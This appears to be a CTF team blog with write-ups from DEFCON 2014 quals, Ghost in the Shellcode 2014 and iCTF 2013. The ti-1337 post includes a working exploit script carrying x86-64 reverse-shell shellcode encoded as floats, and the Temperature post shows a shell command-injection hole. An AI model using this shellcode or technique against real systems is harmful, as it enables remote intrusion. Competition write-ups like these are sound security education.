Tuesday, May 27, 2014

DEFCON 2014 quals - Zombies

This challenge consisted of a scripting game. The player was asked to choose a gun and pistol, and then use them to save 100 puppies from attacking zombies.

To shoot a zombie, the player had to give the weapon used (pistol or rifle), and the angle, distance and height of the shot (zombies and puppies exist on a 2D grid relative to the player. For the first 10 rounds the zombie would be stationary. However, the final 90 rounds had a moving zombie. For this, the player was given the location of the zombie and puppy, and the time it would take for the zombie to get to the puppy. While we initially expected that the player and puppy would begin to move in later rounds, this thankfully never happened.

For the first 10 rounds, we used physics to calculate bullet drop due to gravity, and basic trig to get the angle.

For the remaining 90 rounds, we calculated the ratio of the time at which we would shoot the zombie over time it would have taken that zombie to reach the puppy. This was multiplied by the distance between the two, and added to the zombie's initial location to get the location of the zombie at time of the shot. Additionally, we had to integrate bullet drop in both the height and angle of shot.

Even with this, we would occasionally get unexpected failures (<5%). We compensated for this by starting many connections, and one eventually hit 100%

-albntomat0

Code
from __future__ import division
import socket,math,time
ip = 'zombies_8977dda19ee030d0ea35e97ad2439319.2014.shallweplayaga.me'
port = 20689

def main():
 s = socket.socket()
 s.connect((ip,port))

 print(s.recv(1024))
 print("test")
 s.send("2\n")
 print("[+] Sent gun choice")
 print(s.recv(1024))
 s.send("3\n")
 print("[+] Sent pistol choice")
 for i in range(9):
  res = (s.recv(1024))
  print(res)
  temp = res.split(" ")
  numbers = []
  print("##########################")
  for a in temp:
   if a[:-1].isdigit():
    numbers += [a[:-1]]
    print(a)
  print("###########################")
  dist = numbers[len(numbers)-2]
  height = numbers[len(numbers)-1]
  print("dist is: " + dist)
  print("height is " + height)
  shoot(s,int(height),int(dist))
 while(True):
  res = (s.recv(1024))
  print(res)
  temp = res.split(" ")
  ztime = []
  numbers = []
  for a in temp:
   if a.isdigit(): #ztime value
    ztime += [a]
   elif a[:-1].isdigit(): #distance value
    numbers += [a[:-1]]
  print(ztime)
  print("#####")
  print(numbers)
  zdist = int(numbers[len(numbers)-4])
  zheight = int(numbers[len(numbers)-3])
  pdist = int(numbers[len(numbers)-2])
  pheight = int(numbers[len(numbers)-1])
  currTime = 1
  finTime = int(ztime[0])
  print("pdist is: " + str(pdist))
  print("pheight is " + str(pheight))
  print("zdist is: " + str(zdist))
  print("zheight is " + str(zheight))
  for z in range(2):
   print(s.recv(64))
   currTime += 1
  shoot2(s,zheight,zdist,pheight,pdist,currTime,finTime)
  #print(s.recv(1024))

def shoot2(s,zombieHIn,zombieDIn,puppieHIn,puppieDIn,currTime,finalTime):
 rifle = 975.0
 pist = 375.0
 weapon = "r"
 ztimeRatio = currTime/finalTime
 heightIn = (puppieHIn - zombieHIn) * ztimeRatio + zombieHIn
 distanceIn = (puppieDIn - zombieDIn) * ztimeRatio + zombieDIn
 print("Time " + str(ztimeRatio))
 print("Height Target " + str(heightIn))
 print("Dist Target " + str(distanceIn))
 direct = math.hypot(distanceIn,heightIn)
 if(direct < 50):
  print("[+] using pistol")
  weapon = "p"
  ztime = direct/pist
 else:
  ztime = direct/rifle
 drop = 4.9 * ztime * ztime
 print("here")
 print(ztime)
 print(drop)
 height = heightIn + drop
 distance = distanceIn#before lead
 distance = distance + ((puppieDIn - zombieDIn)/finalTime * ztime)
 
 rad = math.atan2(height,distanceIn)
 angle = math.degrees(rad)

 response = weapon + ", " + str(angle) + " , " + str(distanceIn) + " , " + str(heightIn)
 print("[+] Firing: " + response)
 s.send(response + "\n")

def shoot(s,heightIn,distanceIn):
 rifle = 975.0
 pist = 375.0
 weapon = "r"
 direct = math.hypot(distanceIn,heightIn)
 if(direct < 50):
  print("[+] using pistol")
  weapon = "p"
  ztime = direct/pist
 else:
  ztime = direct/rifle
 drop = 4.9 * ztime * ztime
 print("here")
 print(ztime)
 print(drop)
 height = heightIn + drop
 distance = distanceIn
 rad = math.atan2(height,distance)
 angle = math.degrees(rad)
 response = weapon + "," + str(angle) + "," + str(distance) + "," + str(height+drop)
 print("[+] Firing: " + response)
 s.send(response + "\n")

main()

Sunday, May 25, 2014

DEFCON 2014 quals - Fritas

Fritas
Fritas:
fritas_91a318f87f384a080595696b3c73fc39.2014.shallweplayaga.me 6908
For the sake of brevity we will call the address fritas.net. Despite the fact that our mothers taught us all not to talk to strangers, the first thing we all do when presented with a strange address/port is talk to it. Connecting to the port with netcat a few times gave us the interesting interaction:
$nc fritas.net 6908
&
$aufy7df9-ase4-1234-00acd0001
$nc fritas.net 6908
&
$aufy7df9-ase4-1234-00ace0001
$nc fritas.net 6908
&
$aufy7df9-ase4-1234-00ad20001

The first line makes no sense, but the second one appears to be some sort of UUID that increments all but the last 4 digits, which are always 0001. We want to take a closer look at the data so we create a simple Python script to connect to it and display:
from socket import socket
HOST = (‘fritas.net’,6908)
s = socket()
print repr(s.connect(HOST).read(1024))
repr allows us to print the data so that non printable bytes are printed in their hex representation. It is good practice when printing unknown data for analysis and it pays off!
$python fritas.py
\x00\x00\x00\x00&\n$aufy7df9-ase4-1234-00ae20001
This looks like it could be a handshake so we modify fritas.py to send the data we get back.
$python fritas.py
\x01\x00\x00\x00
This is a good sign, and it is beginning to look like this challenge is protocol busting. We modify the python to send back a modified Hello with the first byte incrementing every time from 1 to 255. For some codes we get interesting behavior:
$python fritas.py
1 : Expected Hello, got Fritas::Messages::Ready
11: Expected Hello, got Fritas::Messages::StorePostReq
14: Expected Hello, got Fritas::Messages::GetPostResp
15: Expected Hello, got Fritas::Messages::ListPostReq
21: Expected Hello, got Fritas::Messages::ListTagReq
31: Expected Hello, got Fritas::Messages::GetRelatedTagReq
From the replies to these messages we can determine that the protocol consists of:
And the data consists of section preceded by two bytes, the first of which appeared to be a flag (usually a newline) and the second was the length of the section. It also appears that every Req has a code that is one less than its corresponding Resp. We crafted a request with no data to list posts and list tags. Each tag had a TagID which matched the UUID except the last 4 digits which were 0002 through 0008. So if your uuid was xxxxxx-xxxx-xxxx-xxxx0001, the first post would be xxxxxx-xxxx-xxxx-xxxx0002. The tags were all random collections of 20 letters and numbers. We sent a “GetPostReq” for each post revealing that post 0002 was password protected while all the other posts contained their TagID, a header (preceded by the ‘\n’ flag) and a body (preceded by the ‘\x12’ flag). Each post also had two tags with it, which presented an interesting issue: one of the tags from the ListTagReq was un accounted for! We figured it was probably related to the password protected post. WHY NOT GET RELATED TAGS! Sending a GetRelatedTagReq with the data section containing a tag returns a large data structure, one element in the structure contained the line “password=X” where X is about 20 random characters. After some trial and errors, we settle on sending the GetPostReq with the format: <code>\nTagID\x12 This request returned the post containing the flag! As a side note, the name of the challenge “Fritas” is a type of beef cake. This is a clue, as the server for this challenge is implemented using the beefcake ruby library https://github.com/protobuf-ruby/beefcake which is a ruby implementation of the Google protobuf https://code.google.com/p/protobuf/ which is worth looking into.

Monday, May 19, 2014

DEFCON 2014 quals - HackerTool

The question said "hey, we need to check that your connection works, torrent this file and md5 it." The file in question was huge, and downloading it via torrent seemed likely to take too long. Using our torrent tool, we told it to prefer the beginning and ending blocks. Looking at the partial download, we saw:
0.0.0.0
0.0.0.1
...
255.255.255.254
255.255.255.255

We were troubled by the fact that the instructions said all flags would begin with "The flag is:" (and we weren't going to have that) but decided to go for it and compute the MD5 sum of what we believed the file to be (slightly encouraged by the name of the file referring to every IP address).
The Ada program below correctly computed the MD5 (we also implemented this in Python, but the compiled language ran much faster).

WITH Ada.Text_IO;
with gnat.md5;
PROCEDURE Every_Ip IS
   FUNCTION To_String(X : IN Integer) return String IS
      s : string := integer'image(x);
   BEGIN
      RETURN S(S'First+1..S'Last);
   END To_String;
   context : gnat.md5.context := gnat.md5.initial_context;
BEGIN
   FOR I IN 0..255 LOOP
      ada.Text_IO.put_line(integer'image(i));
      FOR J IN 0..255 LOOP
         FOR K IN 0..255 LOOP
            for l in 0..255 loop
            gnat.md5.update(context,to_string(i)&"."&to_string(j)&"."&to_string(k)&"."&to_string(l)&ascii.lf);
      END LOOP;
    END LOOP;
      END LOOP;
   END LOOP;
   ada.Text_IO.put_line(gnat.md5.digest(context));
end every_ip;

Tuesday, January 21, 2014

Ghost in the Shellcode 2014 - Trivia

lugkist

:

This problem gave us a file, which when opened with 7zip, gave us the following file:

Find the key.
GVZSNG
AXZIOG
YNAISG
...
AXLSOG

All together there were 62 lines with 6 letters each. Also, we noticed that only sixteen letters were used: A, P, Z, L, G, I, T, Y, E, O, X, U, K, S, V, and N. First we unsuccessfully tried many simple ciphers. After reaching a dead end, we googled "6 letter codes" and noticed that NES Game Genie cheat codes were six letters long and used the same sixteen letters. Running these codes through us a decoder gave a hexadecimal value and address. Sorting the ASCII characters for the values and sorting them by address gave us "Power overwhelming? Back in my day cheats did not have spaces."

Inview



This challenge was a C file given by the competitors. A quick look around a a click on the border of the code revealed that there was extra spacing at the end of the code. No one willing puts extra tabs/newlines/spaces on the end of their code. Copying the entire C file into an online whitespace interpreter produced the winning output: WhitespaceProgrammingIsHard.

-albinotomato

Ghost in the Shellcode 2014 ti-1337

This challenge presented the user with a command line interface calculator using an array to implement a stack. There were several commands that could be sent to the server, however the one command which did not complete a correct check was the pop command represented by the letter 'b'. While the pop implemented a measure to prevent showing new results if it went out of bounds, it did not stop itself from moving up the stack for each 'b' that was sent. The relevant code is in the disassembly below.
.text:00000000004014EE                 push    rbp
.text:00000000004014EF                 mov     rbp, rsp
.text:00000000004014F2                 lea     rax, theStackSize
.text:00000000004014F9                 mov     rax, [rax]
.text:00000000004014FC                 test    rax, rax
.text:00000000004014FF                 js      short maybeEmpty
.text:0000000000401501                 lea     rax, theStackSize
.text:0000000000401508                 mov     rdx, [rax]
.text:000000000040150B                 lea     rax, theStackSize
.text:0000000000401512                 mov     rax, [rax+rdx*8+8]
.text:0000000000401517                 mov     [rbp+var_8], rax
.text:000000000040151B
.text:000000000040151B maybeEmpty:                             ; CODE XREF: pop+11 j
.text:000000000040151B                 lea     rax, theStackSize
.text:0000000000401522                 mov     rax, [rax]
.text:0000000000401525                 lea     rdx, [rax-1]
.text:0000000000401529                 lea     rax, theStackSize
.text:0000000000401530                 mov     [rax], rdx
.text:0000000000401533                 mov     rax, [rbp+var_8]
.text:0000000000401537                 mov     [rbp+var_18], rax
.text:000000000040153B                 movsd   xmm0, [rbp+var_18]
.text:0000000000401540                 pop     rbp
.text:0000000000401541                 retn
.text:0000000000401541 pop             endp
By popping two segments back and putting a number on the stack, we are able to write our shellcode onto the stack. However, since the program is reading in inputs as floating point numbers, our reverse shell needed to be converted to floating point numbers in segments. Python wasn't playing nice with this, so C was used to do the conversion. The relevant code is below.
 void this (long long int y){
12 double x;
11 // printf("0x%lx\n",y);
10 int i;
9 char *xx=&x,*yy=&y;
8 for(i=0;i<8;i++) {
7 memcpy((char*)&xx[i],(char*)&yy[i],1);
6 }
5 printf("\"%.18lg\"\n",x);
4 // scanf("%lg",&x);
3 // memcpy(&y,&x,8);
2 // printf("0x%lx\n",y);
1 // printf("\n\n");
0 }
We pad on to the end to ensure that we hit out shellcode. The winning python script is below.
  import pexpect
import fdpexpect
import sys
import socket
import time
connectBack = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
connectBack += "\xb9\x02\x00\x23\x28\x32\x4c\x8e\xc9\x51\x48\x89\xe6\x6a\x10"
connectBack += "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
connectBack += "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
connectBack += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
connectBack += (8-len(connectBack)%8)*"\x90"

exploit = []
exploit.append("-6.82852703437048257e-229")
exploit.append("-8.5942656633456451e+185")
exploit.append("6.68474035129115045e+91")
exploit.append("9.20412815489135857e-79")
exploit.append("4.94087008802812102e+255")
exploit.append("4.0852036710841077e+40")
exploit.append("2.04296219533742501e+204")
exploit.append("-2.16211186289897248e+46")
exploit.append("-9.47208657532450845e-33")
exploit.append("2.43058597665742808e+204")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
s = socket.socket()
s.connect(("ti-1337.2014.ghostintheshellcode.com",31415))
so = fdpexpect.fdspawn(s)
so.logfile = sys.stdout
so.sendline("b")
so.expect("\n")
for i in range(0,30):
so.sendline("b")
so.expect("\n")
so.sendline("b")
so.expect("\n")
so.sendline(str(exploit[i]))
time.sleep(.1)
so.expect("\n\n\n")
Any questions or comments, feel free to let me know!

--Imp3rial

Tuesday, December 10, 2013

iCTF 2013 Fall - Temperature

This was the first problem we tackled at the start of the competition. Talking to the server, we were given two options: Look up a temperature or add a temperature recording. After messing with the inputs for a little, we decided to take a look at the code.

We received the source code in a .deb package, which we unpacked using 7zip. Looking through the files we discovered a Python file named, of course, "temperature". We then began to look through the code and found a series of replace commands.
def build_command():
   fn = "satan"
   fn = fn.replace("s","r")
   fn = fn.replace("a","e")
   fn = fn.replace("t","v")
   fn = fn.replace("s","r")
   fn = fn.replace("n","n")
   fn = fn[::-1]
   fn += '\x67'
   fn += '\x75'
   fn += '\x65'
   fn += '\x73'
   fn += '\x73'
   cn = "dog"
   cn = cn.replace("d","c")
   cn = cn.replace("g","t")
   cn = cn.replace("o","a")
   cn2 = "\x67\x72\x65\x70"
   cn3 = "\x61\x77\x6B"
   command = " ".join((cn,fn,"|",cn2,"%s","|",cn2,"%s","|",cn3,"'{print $3}'"))
   return command


Which we quickly realized allows anything to be put into the command. We decided to see what could be found by sending "no" to the inputs for the lookup command
By sending "no" to both inputs, we were able to get a list of flags, indicated by "FLG" at the beginning of each flag." restricted the output to just the third column,  Our final script is below:
def get_awesomeness(s, flag_id):
    s.recv(1024)
    s.send("10")
    s.recv(1024)
    s.send("no")
    s.recv(1024)
    s.send(flag_id)
    flag = s.recv(1024).strip()
    return flag

Monday, December 9, 2013

iCTF 2013 Fall - TattleTale

This problem proved to be quite an interesting optimization problem. To solve this challenge, you needed to open three network connection to the service running on port 13007, and have each of the clients connect to the same room. If you '/msg' E.Snowden, he asked for you and your coworkers to get the highest amount of secret points that could be exfiltrated from the network. Sending documents to him cost bandwidth, but you could send them to your coworkers without affecting your bandwidth. Some sample text is:

list -- | FoxAcid.ppt 2612KB 34
list -- | FoxAcid.docx 809KB 23
list -- | FoxAcid.doc 2988KB 68
list -- | BULLRUN.ppt 255KB 76
list -- | BULLRUN.docx 546KB 40
list -- | BULLRUN.doc 524KB 29
list -- | LOVEINT.ppt 699KB 45
list -- | LOVEINT.docx 1545KB 59
list -- | LOVEINT.doc 2146KB 39
list -- | QuantumCookie.ppt 2079KB 66
list -- | QuantumCookie.docx 896KB 88
list -- | QuantumCookie.doc 604KB 55
list -- | G20.ppt 203KB 97
list -- | G20.docx 1691KB 21
list -- | G20.doc 1758KB 39

In order to accomplish this task, the first thing was getting each of the agents to list their documents and keep track of who had what. Agents One and Two would send each document they had to agent Zero. Agent Zero then sent documents in the order of the ratio of privacy value gained vs. the size of the file. After sending as many files as agent Zero was capable, he transferred the rest to agent One. Agent One followed suit before passing the rest to agent Two. The algorithm was too slow at first, so most of the recv's were cut out and pexpect was used to gain the final answer from E.Snowden. The 140 lines of code that solved the challenge are as follows (exploit call being at the bottom).
from __future__ import division
import socket
from time import sleep
from operator import itemgetter
import pexpect, fdpexpect
class Exploit():
def result(self):
return {'FLAG' : self.flag }
def groupRecv(self, s1, s2, s3):
sleep(.1)
s1.recv(4096)
sleep(.1)
s2.recv(4096)
sleep(.1)
s3.recv(4096)
def groupSend(self, s1, s2, s3, command):
sleep(.05)
s1.sendall(command + "\n")
sleep(.05)
s2.sendall(command + "\n")
sleep(.05)
s3.sendall(command + "\n")
def gatherData(self, s1, s2, s3, data, bandwidth):
soList = [s1, s2, s3]
for socket in xrange(len(soList)):
sleep(.1)
block = soList[socket].recv(4096)
block = block.split("\n")
for line in xrange(len(block)):
block[line] =block[line].split()
agentData = []
for line in xrange(len(block)-1):
if(line == 0):
bandwidth.append(block[0][5])
if(line > 1):
agentData.append(int(socket))
agentData.append(block[line][3])
agentData.append(block[line][4].rstrip("KB"))
agentData.append(int(block[line][5])/int(block[line][4].rstrip("KB")))
agentData.append(block[line][5])
if(agentData != []):
data.append(agentData)
agentData = []
def transferToZero(self, s0, s1, s2, data):
for item in data:
sleep(.06)
if(item[0]==1):
s1.sendall("/send Agent0 " + item[1]+"\n")
if(item[0]==2):
s2.sendall("/send Agent0 " + item[1]+"\n")
def transferToOne(self, s0, s1, s2, data):
for item in data:
sleep(.06)
s0.sendall("/send Agent1 " + item[1]+"\n")
def transferToTwo(self, s0, s1, s2, data):
for item in data:
sleep(.06)
s1.sendall("/send Agent2 " + item[1]+"\n")
def sendSnowden(self, s, data, bandwidth):
rem = []
for item,index in zip(data, xrange(len(data))):
if(int(item[2])<int(bandwidth)):
sleep(.04)
s.sendall("/send E.Snowden " + item[1] + "\n")
bandwidth = int(bandwidth) - int(item[2])
rem.append(item)
else:
pass
for each in rem:
data.remove(each)
sleep(.01)
return data
def runThis(self, ip, port, flag_id):
data = []
bandwidth = []
print '[+] Connecting Sockets'
s1 = socket.socket()
s1.connect((ip, port))
s2 = socket.socket()
s2.connect((ip, port))
s3 = socket.socket()
s3.connect((ip, port))
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "1")
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, flag_id)
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "/msg E.Snowden hello")
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "/list")
self.gatherData(s1, s2, s3, data, bandwidth)
print '[+] Sorting data'
data.sort(key=itemgetter(3), reverse=True)
print '[+] Transferring to 1'
self.transferToZero(s1, s2, s3, data)
print '[+] Transferring to Snowden from 1'
data = self.sendSnowden(s1, data, bandwidth[0])
print '[+] Transferring to 2'
self.transferToOne(s1, s2, s3, data)
print '[+] Transferring to Snowden from 2'
data = self.sendSnowden(s2, data, bandwidth[1])
print '[+] Transferring to 3'
self.transferToTwo(s1, s2, s3, data)
print '[+] Transferring to Snowden from 3'
data = self.sendSnowden(s3, data, bandwidth[2])
self.groupSend(s1, s2, s3, "/msg E.Snowden done")
p3 = fdpexpect.fdspawn(s3)
p3.expect("FLAG: ")
p3.expect("\n")
output = p3.before.strip()
print output
return output

def execute(self, ip, port, flag_id):
self.flag = self.runThis(ip, port, flag_id)

If you have any questions or comments, please let me know!

--Imp3rial